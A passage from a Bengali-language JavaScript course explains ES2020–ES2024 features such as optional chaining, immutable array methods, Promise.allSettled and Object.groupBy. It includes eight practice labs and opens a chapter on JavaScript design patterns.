ES2024-এর useful Promise feature। আগে:

JAVASCRIPT SourceJAVASCRIPT
let resolvePromise;

const promise = new Promise(resolve => {
    resolvePromise = resolve;
});

Modern:

JAVASCRIPT SourceJAVASCRIPT
const {
    promise,
    resolve,
    reject
} = Promise.withResolvers();

তারপর:

JAVASCRIPT SourceJAVASCRIPT
resolve("Success");

Promise:

JAVASCRIPT SourceJAVASCRIPT
promise.then(console.log);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Success

এটি বিশেষ করে custom async abstractions, event-based systems এবং Promise control-এর ক্ষেত্রে useful।

36.40 String.isWellFormed()

Unicode string-এর malformed surrogate আছে কিনা check করতে ব্যবহার করা যায়।

JAVASCRIPT SourceJAVASCRIPT
const text = "Hello";

console.log(text.isWellFormed());

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
true
36.41 toWellFormed()

Malformed Unicode থাকলে replacement character ব্যবহার করে well-formed string তৈরি করতে পারে।

JAVASCRIPT SourceJAVASCRIPT
const text = "Hello";

const safeText = text.toWellFormed();

console.log(safeText);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Hello
Part 10 — Emerging Standards: Temporal API & Explicit Resource Management (36.42 – 36.43)
36.42 Temporal সম্পর্কে গুরুত্বপূর্ণ কথা

অনেক JavaScript developer Temporal নিয়ে শুনেছেন। Temporal-এর উদ্দেশ্য:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Date-এর limitations কমানো

যেমন:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Date
Time
Timezone
Duration
Calendar

তবে গুরুত্বপূর্ণ বিষয়:

💡 Temporal দীর্ঘ সময় proposal পর্যায়ে ছিল এবং standardization/runtime support-এর অবস্থা version অনুযায়ী পরিবর্তিত হতে পারে।

তাই production project-এ ব্যবহার করার আগে target runtime/browser support যাচাই করা উচিত।

36.43 using / Explicit Resource Management

Modern ECMAScript-এর resource management feature হিসেবে:

JAVASCRIPT SourceJAVASCRIPT
using
await using

ধারণা এসেছে। উদাহরণস্বরূপ কোনো resource:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
File
Connection
Lock
Stream

ব্যবহার শেষে automatically cleanup করার উদ্দেশ্যে। Concept:

JAVASCRIPT SourceJAVASCRIPT
using resource = createResource();

Scope শেষ হলে resource disposal-এর mechanism কাজ করতে পারে।

💡 এটি advanced feature; সব environment-এ একইভাবে available কিনা target runtime অনুযায়ী verify করতে হবে।
Part 11 — Modern JavaScript Paradigms: Immutability, React & Node.js (36.44 – 36.49)
36.44 Modern JavaScript-এ Immutability

Modern frontend development-এ একটি বড় concept:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
MutationImmutable Update ✅

পুরোনো:

JAVASCRIPT SourceJAVASCRIPT
const numbers = [1, 2, 3];

numbers.reverse();

Original array পরিবর্তন। Modern:

JAVASCRIPT SourceJAVASCRIPT
const numbers = [1, 2, 3];

const reversed = numbers.toReversed();

Original:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
[1, 2, 3]

New:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
[3, 2, 1]
36.45 Modern Object Handling

আগে:

JAVASCRIPT SourceJAVASCRIPT
const hasName =
    Object.prototype.hasOwnProperty.call(
        user,
        "name"
    );

Modern:

JAVASCRIPT SourceJAVASCRIPT
const hasName =
    Object.hasOwn(user, "name");

Code অনেক cleaner।

36.46 Modern Promise Handling

ধরো তিনটি API:

JAVASCRIPT SourceJAVASCRIPT
const requests = [
    fetch("/users"),
    fetch("/products"),
    fetch("/orders")
];

সব সফল না হলেও result দরকার:

JAVASCRIPT SourceJAVASCRIPT
const results =
    await Promise.allSettled(requests);

একটি সফল হলেই result দরকার:

JAVASCRIPT SourceJAVASCRIPT
const result =
    await Promise.any(requests);
36.47 Modern Array Workflow

আগে:

JAVASCRIPT SourceJAVASCRIPT
const copy = [...numbers];

copy.sort();

Modern:

JAVASCRIPT SourceJAVASCRIPT
const sorted = numbers.toSorted();

আগে:

JAVASCRIPT SourceJAVASCRIPT
const copy = [...numbers];

copy.reverse();

Modern:

JAVASCRIPT SourceJAVASCRIPT
const reversed = numbers.toReversed();

আগে:

JAVASCRIPT SourceJAVASCRIPT
const copy = [...numbers];

copy.splice(1, 1);

Modern:

JAVASCRIPT SourceJAVASCRIPT
const updated = numbers.toSpliced(1, 1);
36.48 Modern JavaScript + React

React development-এ তুমি অনেক জায়গায় এগুলো ব্যবহার করবে:

🔹 Optional Chaining
✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
<p>{user?.profile?.name}</p>
🔹 Nullish Coalescing
JAVASCRIPT SourceJAVASCRIPT
const pageSize = settings?.pageSize ?? 10;
🔹 Immutable Array
JAVASCRIPT SourceJAVASCRIPT
const sortedUsers =
    users.toSorted(
        (a, b) => a.name.localeCompare(b.name)
    );
🔹 findLast()
JAVASCRIPT SourceJAVASCRIPT
const lastAdmin =
    users.findLast(user => user.role === "admin");
36.49 Modern JavaScript + Node.js

Node.js application-এ:

JAVASCRIPT SourceJAVASCRIPT
const result =
    await Promise.allSettled([
        fetchUsers(),
        fetchProducts(),
        fetchOrders()
    ]);

Error handling:

JAVASCRIPT SourceJAVASCRIPT
try {

    await database.connect();

} catch (error) {

    throw new Error(
        "Database connection failed",
        { cause: error }
    );

}

Private class state:

JAVASCRIPT SourceJAVASCRIPT
class Database {

    #connection;

    connect() {
        this.#connection = "connected";
    }

}
Part 12 — Browser Compatibility, Transpilation, Polyfills & ES2020+ Map (36.50 – 36.57)
36.50 Browser Compatibility

সব browser সব modern feature একই সময়ে support নাও করতে পারে। তাই production-এর আগে:

✨ FULL-STACK MODERN JAVASCRIPT TOOLKIT
Browser support
Node.js version
Build tool
Babel
Transpiler
Polyfill

বিবেচনা করতে হয়।

36.51 Babel কী?

Babel হলো JavaScript compiler/transpiler ecosystem-এর একটি গুরুত্বপূর্ণ tool। ধরো তুমি modern syntax লিখলে:

JAVASCRIPT SourceJAVASCRIPT
const result = user?.profile?.name;

পুরোনো environment-এর জন্য toolchain এটাকে compatible form-এ transform করতে পারে। তবে:

💡 সব নতুন API syntax transformation দিয়ে solve করা যায় না। কিছু API-এর জন্য polyfill বা runtime support দরকার।
36.52 Transpilation vs Polyfill

খুব গুরুত্বপূর্ণ distinction।

🔹 Transpilation

Syntax পরিবর্তন করে। উদাহরণ conceptually:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Modern JS
   
Compiler
   
Older-compatible JS
🔹 Polyfill

যে API নেই, তার implementation provide করে। যেমন:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Missing API
    
Polyfill
    
Available behavior
36.53 Feature Detection

কোনো feature support করে কিনা check করা যায়।

JAVASCRIPT SourceJAVASCRIPT
if ("at" in Array.prototype) {
    console.log("Supported");
}

অথবা:

JAVASCRIPT SourceJAVASCRIPT
if (Promise.withResolvers) {
    console.log("Supported");
}

এটি runtime compatibility handling-এর জন্য useful।

36.54 Modern Syntax বনাম Modern API

এ দুটো আলাদা।

🔹 Syntax
JAVASCRIPT SourceJAVASCRIPT
user?.name
🔹 API
JAVASCRIPT SourceJAVASCRIPT
Promise.allSettled()

Syntax-এর জন্য transpiler কাজ করতে পারে। API-এর জন্য runtime/polyfill support প্রয়োজন হতে পারে।

36.55 ES2020+ Quick Version Map
Versionগুরুত্বপূর্ণ Features
ES2020?., ??, BigInt, Promise.allSettled(), Promise.any()
ES2021replaceAll(), logical assignment, numeric separators
ES2022class fields, private #, static blocks, .at(), Object.hasOwn(), top-level await, Error.cause
ES2023findLast(), findLastIndex(), toSorted(), toReversed(), toSpliced(), with()
ES2024Object.groupBy(), Map.groupBy(), Promise.withResolvers(), well-formed string methods
ES2025নতুন standardized language features; runtime support অনুযায়ী ব্যবহার
36.56 সবচেয়ে বেশি ব্যবহৃত Modern Features

বাস্তব project-এর জন্য priority:

🔹 🔥 Tier 1 — অবশ্যই জানবে
✨ IMMUTABLE ARRAY METHODS PIPELINE
?.
??
async/await
Promise.allSettled()
Promise.any()
??=
||=
&&=
Array.at()
toSorted()
toReversed()
toSpliced()
Object.hasOwn()
private #fields
🔹 🔥 Tier 2 — ভালোভাবে জানা উচিত
✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Object.groupBy()
Map.groupBy()
Promise.withResolvers()
Error.cause
static fields
static blocks
top-level await
🔹 🔥 Tier 3 — Advanced
✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
using
await using
Temporal concepts
Unicode well-formed APIs
36.57 Modern JavaScript Interview Questions — ইন্টারভিউ প্রশ্নোত্তর
🔹 Q1. || এবং ??-এর difference কী?
JAVASCRIPT SourceJAVASCRIPT
0 || 10

10

JAVASCRIPT SourceJAVASCRIPT
0 ?? 10

0 কারণ ?? শুধু null এবং undefined handle করে।

🔹 Q2. sort() এবং toSorted() difference?
JAVASCRIPT SourceJAVASCRIPT
sort()

→ original array mutate করে।

JAVASCRIPT SourceJAVASCRIPT
toSorted()

→ নতুন sorted array দেয়।

🔹 Q3. Promise.all() এবং Promise.allSettled()?

Promise.all():

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
একটি reject
 পুরো Promise reject

Promise.allSettled():

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
সবগুলোর final result
 fulfilled/rejected দুটোই
🔹 Q4. Promise.any() কী করে?

প্রথম fulfilled Promise-এর result দেয়। সব reject হলে AggregateError দেয়।

🔹 Q5. Optional chaining কেন ব্যবহার করি?

Nested property missing হলেও error avoid করতে:

JAVASCRIPT SourceJAVASCRIPT
user?.profile?.name
🔹 Q6. Private class field কী?
JAVASCRIPT SourceJAVASCRIPT
class User {
    #password;
}

#password class-এর বাইরে directly access করা যায় না।

🔹 Q7. .at(-1) কী করে?

Array/String-এর শেষ element দেয়।

JAVASCRIPT SourceJAVASCRIPT
[10, 20, 30].at(-1)

30

Part 13 — Must Know Modern Pillars, Quick Cheat Sheet, 8 Practice Labs & Final Mental Map
36.58 🔥 MUST KNOW — মডার্ন ECMAScript-এর ১০টি প্রধান স্তম্ভ

আধুনিক ফুলস্ট্যাক প্রজেক্টে (React & Node.js) প্রতিদিন কাজে লাগার মতো ১০টি সেরা উদ্ভাবন:

📌 1. Null Safety & Operators
  • Optional Chaining (?.): নাল বা আনডিফাইন্ডে ক্র্যাশ ছাড়া এক্সেস
  • Nullish Coalescing (??): শুধুমাত্র null/undefined-এ ফলব্যাক (0 বা "" নিরাপদ)
  • Logical Assignments: ??=, &&=, ||= দিয়ে ক্লিন কনফিগ ইনিশিয়ালাইজ
  • Numeric Separators (_): 1_000_000 লিখে বড় সংখ্যার পঠনযোগ্যতা বৃদ্ধি
📌 2. Modern Classes & Async
  • Private Fields (#): ট্রু ল্যাঙ্গুয়েজ-লেভেল এনক্যাপসুলেশন (#balance)
  • Static Blocks: ক্লাসে কমপ্লেক্স স্ট্যাটিক মেম্বার ইনিশিয়ালাইজেশন
  • Top-Level await: মডিউল লোডিংয়ের সময় অ্যাসিনক্রোনাস ডাটা ফেচ
  • Promise.allSettled & any: রেজলভ ও রিজেক্টেড প্রমিজের নির্ভরযোগ্য হ্যান্ডলিং
📌 3. Immutable Data & Grouping
  • toSorted / toSpliced: মূল অ্যারে মিউটেট না করে নতুন অ্যারে রিটার্ন
  • Array.prototype.at(-1): নেগেটিভ ইনডেক্স দিয়ে লাস্ট উপাদান বের করা
  • Object.groupBy(): ডাটাকে ক্যাটাগরি অনুযায়ী ডিক্ল্যারেটিভ গ্রুপিং
  • Error.cause: এরর ট্র্যাজেক্টরি ও রুট কজ চেইনিং
36.59 🧠 Quick Cheat Sheet — আধুনিক সিনট্যাক্স ও মেথড সারসংক্ষেপ
Feature / MethodIntroductionSyntax / Code SnippetPrimary Benefit
Optional ChainingES2020user?.address?.cityTypeError: Cannot read properties of undefined চিরতরে রোধ
Nullish CoalescingES2020const port = customPort ?? 3000ফলসি ভ্যালু (0, "") নষ্ট না করে শুধু null/undefined চেক
Promise.allSettledES2020Promise.allSettled([p1, p2])একটি ব্যর্থ হলেও সব প্রমিজের পূর্ণাঙ্গ ফলাফল পাওয়া যায়
String.replaceAllES2021'a-b-c'.replaceAll('-', ' ')গ্লোবাল রেজেক্স (/g) ছাড়াই সকল ম্যাচ প্রতিস্থাপন
Logical AssignmentES2021options.timeout ??= 5000ভ্যালু নাল হলে তবেই শর্ট-সার্কিট অ্যাসাইনমেন্ট
Numeric SeparatorES2021const salary = 1_500_000কোডের ভেতরে বড় সংখ্যার পঠনযোগ্যতা বৃদ্ধি
Private Class FieldsES2022class Bank { #pin = 1234; }ক্লাসের বাইরে থেকে ফিল্ড এক্সেস সম্পূর্ণ ব্লক
Array.prototype.at()ES2022arr.at(-1)নেগেটিভ ইনডেক্স দিয়ে পেছনের উপাদান এক্সেস
Object.hasOwn()ES2022Object.hasOwn(obj, 'prop')hasOwnProperty এর নিরাপদ ও সুরক্ষিত বিকল্প
Error CauseES2022new Error('Fail', { cause: err })অরিজিনাল এরর সংরক্ষণ করে রুট-কজ চেইনিং
Array.toSorted()ES2023const sorted = arr.toSorted()মূল অ্যারে অক্ষত রেখে নতুন সর্টেড অ্যারে তৈরি (React-safe)
Array.toSpliced()ES2023const removed = arr.toSpliced(0, 1)ইমিউটেবল স্লাইসিং ও উপাদান অপসারণ
Array.with()ES2023const updated = arr.with(2, 99)নির্দিষ্ট ইনডেক্সের মান পরিবর্তন করে ফ্রেশ কপি রিটার্ন
Array.findLast()ES2023arr.findLast(n => n > 10)পেছনের দিক থেকে প্রথম ম্যাচিং উপাদান খুঁজে বের করা
Object.groupBy()ES2024Object.groupBy(users, u => u.role)অ্যারের অবজেক্টগুলোকে শর্তানুযায়ী ক্যাটাগরিাইজড অবজেক্টে রূপান্তর
Promise.withResolversES2024const { promise, resolve } = Promise.withResolvers()প্রমিজ ও রিজলভ/রিজেক্ট ফাংশন সরাসরি ডিকনস্ট্রাক্ট
Part 13.1 — 8 Hands-On Practice Labs with Complete Production Solutions
Lab #1 [BEGINNER] — Falsy vs Nullish Evaluation Matrix (|| vs ??)

সমস্যা ও লক্ষ্য: নিচের তিনটি স্টেটমেন্টের এক্সিকিউশন আউটপুট কী হবে এবং 0 এর ক্ষেত্রে || এবং ?? কীভাবে ভিন্ন আচরণ করে তা ব্যাখ্যা করুন।

MODERN IMPLEMENTATION (LAB #1)JAVASCRIPT
// Input Evaluation Code
console.log(0 || 50);   // আউটপুট: 50
console.log(0 ?? 50);   // আউটপুট: 0
console.log(null ?? 50);// আউটপুট: 50
💡 প্রোডাকশন অন্তর্দৃষ্টি: || (Logical OR) অপারেটর 0-কে falsy মনে করে ডান পাশের মান (50) নেয়। কিন্তু ?? (Nullish Coalescing) শুধুমাত্র null ও undefined-কে অগ্রাহ্য করে; 0 একটি সম্পূর্ণ বৈধ সংখ্যা হওয়ায় 0-ই রিটার্ন করে।
Lab #2 [BEGINNER] — Defensive Data Access with Optional Chaining (?.)

সমস্যা ও লক্ষ্য: nested অবজেক্ট থেকে ক্র্যাশ ছাড়া নিরাপদে ডাটা পড়তে Optional Chaining ও Nullish Coalescing ব্যবহার করে প্রোডাকশন ফাংশন লিখুন।

MODERN IMPLEMENTATION (LAB #2)JAVASCRIPT
const userA = {
  profile: {
    address: { city: 'Dhaka', zip: 1205 }
  }
};

const userB = { profile: null };

// ❌ Risky: userB-তে TypeError ক্র্যাশ করবে
// const city = userB.profile.address.city; 

// ✅ Modern Safe Navigation
function getCity(user) {
  return user?.profile?.address?.city ?? 'Unknown City';
}

console.log('User A City:', getCity(userA)); // Dhaka
console.log('User B City:', getCity(userB)); // Unknown City (No crash!)
💡 প্রোডাকশন অন্তর্দৃষ্টি: ?. অপারেটর চেইনের কোনো ধাপে null বা undefined পেলে সাথে সাথে এক্সিকিউশন থামিয়ে undefined রিটার্ন করে, ফলে TypeError চিরতরে দূর হয়।
Lab #3 [BEGINNER] — Array End Indexing with Modern .at() Method

সমস্যা ও লক্ষ্য: Array-এর শেষ উপাদান বের করার জন্য ট্র্যাডিশনাল arr[arr.length - 1] এর বদলে আধুনিক .at(-1) মেথড প্রয়োগ করুন।

MODERN IMPLEMENTATION (LAB #3)JAVASCRIPT
const numbers = [10, 20, 30, 40];

// Old Syntax
const lastOld = numbers[numbers.length - 1];

// Modern ES2022 Syntax
const lastModern = numbers.at(-1);     // শেষ উপাদান: 40
const secondLast = numbers.at(-2);     // শেষের আগের উপাদান: 30

console.log('Last Element:', lastModern);
console.log('Second Last:', secondLast);
💡 প্রোডাকশন অন্তর্দৃষ্টি: .at() মেথডটি শুধু অ্যারেতেই নয়, স্ট্রিং (string.at(-1)) এবং টাইপড অ্যারেতেও সমভাবে কাজ করে যা কোডকে আরও সংক্ষিপ্ত ও আধুনিক করে তোলে।
Lab #4 [INTERMEDIATE] — True Class Encapsulation with Private Field (#balance)

সমস্যা ও লক্ষ্য: এমন একটি BankAccount ক্লাস তৈরি করুন যেখানে name পাবলিক, #balance প্রাইভেট এবং ভ্যালিডেশনসহ deposit() ও getBalance() মেথড থাকবে।

MODERN IMPLEMENTATION (LAB #4)JAVASCRIPT
class BankAccount {
  name;           // পাবলিক ফিল্ড
  #balance = 0;   // ট্রু প্রাইভেট ফিল্ড (ক্লাসের বাইরে সম্পূর্ণ অদৃশ্য)

  constructor(accountHolder, initialDeposit = 0) {
    this.name = accountHolder;
    if (initialDeposit > 0) this.#balance = initialDeposit;
  }

  deposit(amount) {
    if (amount <= 0) {
      throw new Error('Deposit amount must be strictly positive');
    }
    this.#balance += amount;
    return this.#balance;
  }

  getBalance() {
    return this.#balance;
  }
}

const account = new BankAccount('Tanvir', 500);
account.deposit(250);
console.log(`${account.name} Balance: $${account.getBalance()}`); // $750

// ❌ SyntaxError: Private field '#balance' must be declared in an enclosing class
// console.log(account.#balance);
💡 প্রোডাকশন অন্তর্দৃষ্টি: জাভাস্ক্রিপ্টে পূর্বে ব্যবহৃত আন্ডারস্কোর (_balance) কেবল একটি কনভেনশন ছিল যা বাইরে থেকে মডিফাই করা যেত। #balance হলো হার্ডওয়্যার/ল্যাঙ্গুয়েজ-লেভেল প্রাইভেট মেম্বার।
Lab #5 [INTERMEDIATE] — Immutable Array Sorting with toSorted() (React Safe)

সমস্যা ও লক্ষ্য: মূল অ্যারে অপরিবর্তিত রেখে [10, 5, 30, 20, 15] অ্যারেকে descending অর্ডারে সাজানোর জন্য toSorted() মেথড ব্যবহার করুন।

MODERN IMPLEMENTATION (LAB #5)JAVASCRIPT
const numbers = [10, 5, 30, 20, 15];

// ❌ Mutating sort(): মূল numbers অ্যারেকে স্থায়ীভাবে বদলে ফেলে
// numbers.sort((a, b) => b - a);

// ✅ Modern ES2023 Immutable toSorted()
const descending = numbers.toSorted((a, b) => b - a);

console.log('Original Array:', numbers);     // [10, 5, 30, 20, 15] (অক্ষত!)
console.log('Descending Sorted:', descending); // [30, 20, 15, 10, 5]
💡 প্রোডাকশন অন্তর্দৃষ্টি: React অ্যাপ্লিকেশনে মূল স্টেট মিউটেট করলে UI রি-রেন্ডারিং সংক্রান্ত গুরুতর বাগ তৈরি হয়। toSorted() কোনো ক্লোনিং ছাড়াই ইমিউটেবল নতুন অ্যারে প্রদান করে।
Lab #6 [INTERMEDIATE] — Fault-Tolerant Concurrent Requests with Promise.allSettled()

সমস্যা ও লক্ষ্য: তিনটি কনকারেন্ট এপিআই কলের মধ্যে কিছু প্রমিজ ফেইল করলেও যাতে পুরো প্রসেস ক্র্যাশ না করে প্রতিটি কলের স্টেট পরীক্ষা করুন।

MODERN IMPLEMENTATION (LAB #6)JAVASCRIPT
const fetchA = Promise.resolve({ source: 'Payment Gateway', status: 'OK' });
const fetchB = Promise.reject(new Error('Auth Service Timeout (504)'));
const fetchC = Promise.resolve({ source: 'Notification Service', status: 'Delivered' });

async function loadSystemStatus() {
  const results = await Promise.allSettled([fetchA, fetchB, fetchC]);

  results.forEach((res, index) => {
    if (res.status === 'fulfilled') {
      console.log(`Service #${index + 1} [ACTIVE ✅]:`, res.value);
    } else {
      console.warn(`Service #${index + 1} [FAILED ❌]:`, res.reason.message);
    }
  });
}

loadSystemStatus();
💡 প্রোডাকশন অন্তর্দৃষ্টি: Promise.all() একটি রিজেক্ট হলেই পুরো পাইপলাইন থামিয়ে দেয়। Promise.allSettled() সব প্রমিজ শেষ হওয়া পর্যন্ত অপেক্ষা করে fulfilled বা rejected স্ট্যাটাস রিপোর্ট করে।
Lab #7 [ADVANCED] — Declarative Data Categorization with Object.groupBy()

সমস্যা ও লক্ষ্য: ব্যবহারকারীর রোল (admin/user) অনুযায়ী ইউজার তালিকাকে অবজেক্ট গ্রুপিং করার জন্য আধুনিক ES2024 Object.groupBy() মেথড প্রয়োগ করুন।

MODERN IMPLEMENTATION (LAB #7)JAVASCRIPT
const users = [
  { name: 'Tanvir', role: 'admin' },
  { name: 'Sakib', role: 'user' },
  { name: 'Rahim', role: 'admin' },
  { name: 'Karim', role: 'user' },
  { name: 'Ayesha', role: 'editor' }
];

// Modern ES2024 Declarative Grouping
const groupedByRole = Object.groupBy(users, (user) => user.role);

console.log(groupedByRole);
/*
আউটপুট:
{
  admin: [ { name: 'Tanvir', role: 'admin' }, { name: 'Rahim', role: 'admin' } ],
  user: [ { name: 'Sakib', role: 'user' }, { name: 'Karim', role: 'user' } ],
  editor: [ { name: 'Ayesha', role: 'editor' } ]
}
*/
💡 প্রোডাকশন অন্তর্দৃষ্টি: পূর্বে অ্যারের উপাদান গ্রুপ করতে জটিল Array.reduce() লজিক বা Lodash লাইব্রেরি ব্যবহার করতে হতো। Object.groupBy() এখন জাভাস্ক্রিপ্টের নেটিভ বিল্ট-ইন মেথড।
Lab #8 [ADVANCED] — Fastest Responsive API Race with Promise.any()

সমস্যা ও লক্ষ্য: একাধিক ব্যাকআপ এপিআইয়ের মধ্যে যেটি প্রথম সফল রেসপন্স দেবে সেটি গ্রহণ করুন এবং সবগুলো ফেইল করলে AggregateError হ্যান্ডেল করুন।

MODERN IMPLEMENTATION (LAB #8)JAVASCRIPT
const mirrorCDN1 = new Promise((_, reject) => setTimeout(() => reject('CDN 1 Offline'), 100));
const mirrorCDN2 = new Promise((resolve) => setTimeout(() => resolve('CDN 2 High-Speed Data Payload'), 200));
const mirrorCDN3 = new Promise((resolve) => setTimeout(() => resolve('CDN 3 Data Payload'), 500));

async function fetchFastestAsset() {
  try {
    // যেটি প্রথম সফল হবে সেটিই ফলাফল দেবে (ব্যর্থতাগুলো ইগনোর করবে)
    const fastestResponse = await Promise.any([mirrorCDN1, mirrorCDN2, mirrorCDN3]);
    console.log('⚡ Connected via Fastest Mirror:', fastestResponse);
  } catch (error) {
    if (error instanceof AggregateError) {
      console.error('All mirror servers failed:', error.errors);
    }
  }
}

fetchFastestAsset();
💡 প্রোডাকশন অন্তর্দৃষ্টি: Promise.race() প্রথম প্রমিজটি ফেইল করলে নিজেও ফেইল করে। কিন্তু Promise.any() প্রথম সফল প্রমিজটি গ্রহণ করে এবং সবগুলো ফেইল করলেই কেবল AggregateError থ্রো করে।
36.60 🎯 Final Mental Map — মডার্ন ECMAScript-এর পূর্ণাঙ্গ মানচিত্র

পুরো Chapter 36-এর আধুনিক ফিচার ও ফুলস্ট্যাক অ্যাপ্লিকেশন একসাথে:

✨ MODERN ECMASCRIPT ARCHITECTURE MAP
MODERN ECMASCRIPT ECOSYSTEM
                                 
         ──────────────────────────────────────────────
                                                       
     NULL SAFETY             CLASS & OOP             IMMUTABLE DATA
                                                       
   ?. (Optional Chain)     #private fields         Array.prototype
   ?? (Nullish Coalesce)   static blocks           ── toSorted()
   ??= ||= &&=             Top-Level await         ── toReversed()
   Numeric Separators (_)  Error.cause             ── toSpliced()
                                                 ── with()
                                                       
         ──────────────────────────────────────────────
                                 
                                 
                     CONCURRENCY & GROUPING
                                 
         ──────────────────────────────────────────────
                                                        
   Promise.allSettled()                            Object.groupBy()
   Promise.any() (Fallback)                        Map.groupBy()
   Promise.withResolvers()                         Temporal (Upcoming)
                                 
                                 
                     FULL-STACK JAVASCRIPT TOOLKIT
                                 
            ────────────────────────────────────────
                                                    
          REACT               NODE.JS                APIs
       State-Safe         Secure Classes         Fault-Tolerant
       Immutability       Encapsulation          Data Pipelines
🏆 এক লাইনে Chapter 36: Modern ECMAScript (ES2020+) হলো নাল-সেফটি, ইমিউটেবল ডাটা ম্যানিপুলেশন, ক্লাস এনক্যাপসুলেশন ও কনকারেন্ট প্রমিজ পরিচালনার এমন এক সমন্বিত রূপ যা রিঅ্যাক্ট ফ্রন্টএন্ড ও নোড ব্যাকএন্ড কোডকে করে তোলে আরও সংক্ষিপ্ত, ক্র্যাশ-প্রুফ ও পারফরম্যান্ট।
🔗 Curriculum Progression: Chapter 35 → 36 → 37
✨ ROADMAP CONTINUITY PIPELINE
Chapter 35: Testing JavaScript
       
Unit Testing, Integration Testing, Assertions, Jest/Vitest, Mocking & CI/CD
       
Chapter 36: Modern ECMAScript / ES2020+ Features (THIS CHAPTER)
       
Optional Chaining, Nullish Coalescing, Top-level Await, toSorted, Object.groupBy
       
Chapter 37: JavaScript Design Patterns
       
Singleton, Factory, Observer, Module, Prototype, Proxy & MVC/MVVM Architectural Patterns
Chapter 37
↑ Index
JavaScript Design Patterns — সফটওয়্যার ডিজাইন প্যাটার্নস
Total Modules
66 Modules + 9 Practice Labs
Curriculum Part
Part 31 — Software Architecture & Patterns
Core Innovations
Creational, Structural & Behavioral Patterns
Target Architecture
Clean Code, SOLID, React & Node.js
JavaScript Design Patterns — মডার্ন আর্কিটেকচার, ক্লিন কোড ও স্কেলেবিলিটি

সফটওয়্যার ডেভেলপমেন্টে রিয়ুজ্যাবল, টেস্টেবল ও মেইনটেইনেবল কোড লেখার জন্য ডিজাইন প্যাটার্ন অপরিহার্য। এটি কোনো কপি-পেস্ট কোড নয়, বরং বারবার ঘটা সফটওয়্যার সমস্যার একটি প্রমাণিত স্ট্রাকচারাল সমাধান। এই চ্যাপ্টারে আমরা Creational (Factory, Singleton, Builder), Structural (Adapter, Decorator, Facade, Proxy), Behavioral (Observer, Pub/Sub, Strategy, Command, State, Chain), Architectural (MVC, Repository, Service Layer, Dependency Injection) এবং React ও Node.js-এর বাস্তব প্যাটার্নসমূহ সম্পূর্ণ কোড সহ শিখব।

📌 1. Creational Patterns
📌 2. Structural Patterns
📌 3. Behavioral Patterns
📌 4. Module & Singleton
📌 5. Factory & Builder
📌 6. Observer & Pub/Sub
📌 7. Strategy & Command
📌 8. Dependency Injection
📌 9. Repository & Service
📌 10. React & Enterprise
Part 01 — Design Patterns Fundamentals & Categories (37.1 – 37.8)
37.1 Design Pattern কী?

ধরো তুমি একটি বড় application বানাচ্ছো। তোমার code-এ আছে:

✨ APPLICATION DOMAIN ENTITIES
User
Product
Cart
Payment
Database
API
Authentication
Notification

সবকিছু যদি একসাথে লিখো:

JAVASCRIPT SourceJAVASCRIPT
// 5000+ lines

তাহলে project maintain করা কঠিন হয়ে যাবে। Design Pattern সাহায্য করে code-কে:

✨ SOFTWARE QUALITY GOALS & CODE HEALTH
Organized
Reusable
Maintainable
Scalable
Testable

রাখতে।

37.2 Real-Life Example

ধরো একটি বাড়ি বানাবে। Architect প্রতিবার নতুন করে ভাববে না:

💡 “দরজা কোথায় রাখব? সিঁড়ি কীভাবে বানাব?”

বরং established architectural principles ব্যবহার করবে। Software Design Pattern-ও অনেকটা একই।

✨ PROBLEM-TO-SOLUTION PATTERN MAPPING
Problem
   
Known Pattern
   
Structured Solution
37.3 Design Pattern মানে Ready-Made Code নয়

এটি খুব গুরুত্বপূর্ণ। Design Pattern:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Copy-paste code

নয়। বরং:

✨ SOFTWARE QUALITY GOALS & CODE HEALTH
✅ Design idea
✅ Structure
✅ Communication pattern
✅ Reusable approach

একই pattern বিভিন্ন project-এ আলাদাভাবে implement করা যায়।

37.4 Design Patterns-এর প্রধান Categories

সাধারণভাবে GoF (Gang of Four) অনুযায়ী:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Design Patterns

── Creational
── Structural
── Behavioral
37.5 Creational Patterns

Object কীভাবে তৈরি হবে সেটি নিয়ে কাজ করে। Common:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Factory
Abstract Factory
Builder
Singleton
Prototype
37.6 Structural Patterns

Objects/classes কীভাবে একে অপরের সাথে structure তৈরি করবে। Common:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Adapter
Decorator
Facade
Proxy
Composite
Bridge
Flyweight
37.7 Behavioral Patterns

Objects কীভাবে communicate করবে এবং behavior manage করবে। Common:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Observer
Strategy
Command
State
Iterator
Mediator
Chain of Responsibility
Template Method
37.8 JavaScript-এ সবচেয়ে গুরুত্বপূর্ণ Patterns

তোমার Full Stack Development-এর জন্য আমরা বিশেষভাবে দেখব:

✨ SOFTWARE ARCHITECTURE DIAGRAM
🔥 Module
🔥 Singleton
🔥 Factory
🔥 Builder
🔥 Observer
🔥 Pub/Sub
🔥 Strategy
🔥 Adapter
🔥 Decorator
🔥 Facade
🔥 Proxy
🔥 Command
🔥 Chain of Responsibility
🔥 State
🔥 Dependency Injection
Part 02 — Creational Patterns: Module, Singleton, Factory, Builder & Prototype (37.9 – 37.18)
37.9 Module Pattern

Module Pattern-এর মূল উদ্দেশ্য:

💡 Related code এক জায়গায় রাখা এবং প্রয়োজনীয় অংশই বাইরে expose করা।

আগে JavaScript-এ:

JAVASCRIPT SourceJAVASCRIPT
const userModule = (() => {

    let users = [];

    function addUser(user) {
        users.push(user);
    }

    function getUsers() {
        return users;
    }

    return {
        addUser,
        getUsers
    };

})();

এখানে:

